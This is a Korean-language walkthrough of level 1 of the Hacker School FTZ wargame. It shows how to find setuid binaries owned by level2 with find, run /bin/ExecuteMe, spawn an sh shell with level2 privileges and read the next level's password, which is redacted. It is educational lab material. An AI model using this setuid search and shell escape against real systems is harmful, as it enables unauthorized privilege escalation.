Hacker School FTZ
- level 1 -

level 1 password: level1

1. hint 파일 살펴보기

```
[level1@ftz level1]$ ls
hint  public_html  tmp
```

처음 접속하여 ls 명령어를 이용해 현재 디렉토리를 살펴보았다.
hint라는 파일이 존재하는 것을 확인할 수 있다.

```
[level1@ftz level1]$ ls -l hint
-rw-r--r--    1 root     root           47  4월   4  2000 hint
```

hint 파일을 ls 명령어의 -l 옵션을 이용해 확인해본 결과 일반적인 파일인 것을 확인할 수 있었다.

```
[level1@ftz level1]$ cat hint


level2 권한에 setuid가 걸린 파일을 찾는다.
```

cat 명령을 이용해 hint 파일의 내용을 살펴보았다.
해당 내용에는 "level2 권한에 setuid가 걸린 파일을 찾는다."라고 적혀 있는 것을 확인할 수 있다.

※ SetUID란?
파일에 부여되는 특수한 권한이다.
만약, 이 Set-UID가 설정된 파일을 실행하게 되면, 해당 파일을 실행하는 동안 파일 소유자의 권한을 얻어 실행할 수 있게 된다.
SetUID가 설정된 파일은 ls -l 옵션으로 살펴보았을 때, 소유자 권한 부분 중 실행 권한에 s로 표시된다.

이 비트는 대문자와 소문자로도 구분된다.
대문자의 경우, SetUID가 설정되어 있지만, 실행 권한이 없는 것이다.
소문자의 경우, SetUID가 설정되어 있고, 실행 권한이 있는 것이다.

권한에 대해서 8진수로 나타낼 때에는 가장 앞 숫자가 4로 시작한다. ex) 4644

2. level2 권한의 SetUID가 걸린 파일 찾기

```
[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null
/bin/ExecuteMe
```

홈 디렉토리로부터 파일 소유자가 "level2"이고, SetUID가 걸린 파일을 찾은 결과, /bin/ExecuteMe 경로가 발견되었다.

find [옵션] [경로] [표현식]
/ : 루트 디렉토리부터 검색을 시작한다.
-user level2 : 파일 소유자가 level2인 파일을 검색한다.
-perm -4000 : SetUID가 걸린 파일을 검색한다.
'-'는 정확히 일치하는 것을 찾는다. 이는 4644인 경우에도 일치하는 것으로 간주한다.
000이라는 권한을 이미 갖고 있기 때문이다.
'+'는 권한 중 하나라도 일치하는 것을 찾는다.
2>/dev/null : 표준 오류 출력을 /dev/null로 리다이렉션하는 것으로 오류의 내용이 화면에 전부 나오는 것을 방지한다.

```
[level1@ftz level1]$ ls -l /bin/ExecuteMe
-rwsr-x---    1 level2   level1      12868  9월  10  2011 /bin/ExecuteMe
```

ls -l 명령을 통해 해당 경로를 살펴본 결과, 실행 파일인 것을 확인할 수 있었다.

3. ExecuteMe 실행

```
[level1@ftz level1]$ cd /bin
[level1@ftz bin]$ ./ExecuteMe
```

해당 경로로 이동하여 ExecuteMe 파일을 실행해보았다.

```
레벨 2의 권한으로 당신이 원하는 명령어를
한 가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)

어떤 명령을 실행시키겠습니까?


[level2@ftz level2]$
```

실행한 결과 위와 같은 문구가 뜨는 것을 확인할 수 있다.
HackerSchool FTZ에서는 자신의 비밀번호를 알려주는 명령어로 “my-pass”라는 명령어가 존재한다.
하지만, 이는 제외되었다고 하니 다른 명령어를 생각해내야 한다.

리눅스에서는 ls, cat 명령어들이 모두 프로그램으로 실행 시, 현재 shell의 자식 프로세스로 생성된다.
이와 같이 현재 명령어들을 수행하게 해주는 shell 또한 하나의 프로세스이다.
그렇기 때문에 우리는 이 shell을 현재 shell의 자식 프로세스로 실행시킬 수도 있다.
가장 간단한 shell로 sh shell를 실행해보자.

```
레벨 2의 권한으로 당신이 원하는 명령어를
한 가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)

어떤 명령을 실행시키겠습니까?


[level2@ftz level2]$ sh

sh-2.05b$
```

위와 같이 기존의 shell과는 다른 모양의 shell이 나온 것을 확인할 수 있다.
현재 이 shell은 level2의 권한을 가지고 실행되고 있다. 즉, 현재 나는 level2와 같다는 말이다.
그렇기 때문에 아까는 사용하지 못했던 “my-pass” 명령어를 이용할 수 있게 되었다는 말과 같다.
한번 “my-pass” 명령어를 실행해보자.

```
Level2 Password is "[redacted]".

sh-2.05b$
```

그러면 level2의 비밀번호를 얻을 수 있게 된다.
이를 따로 기록하여 level2 로그인 시, 이용하면 된다.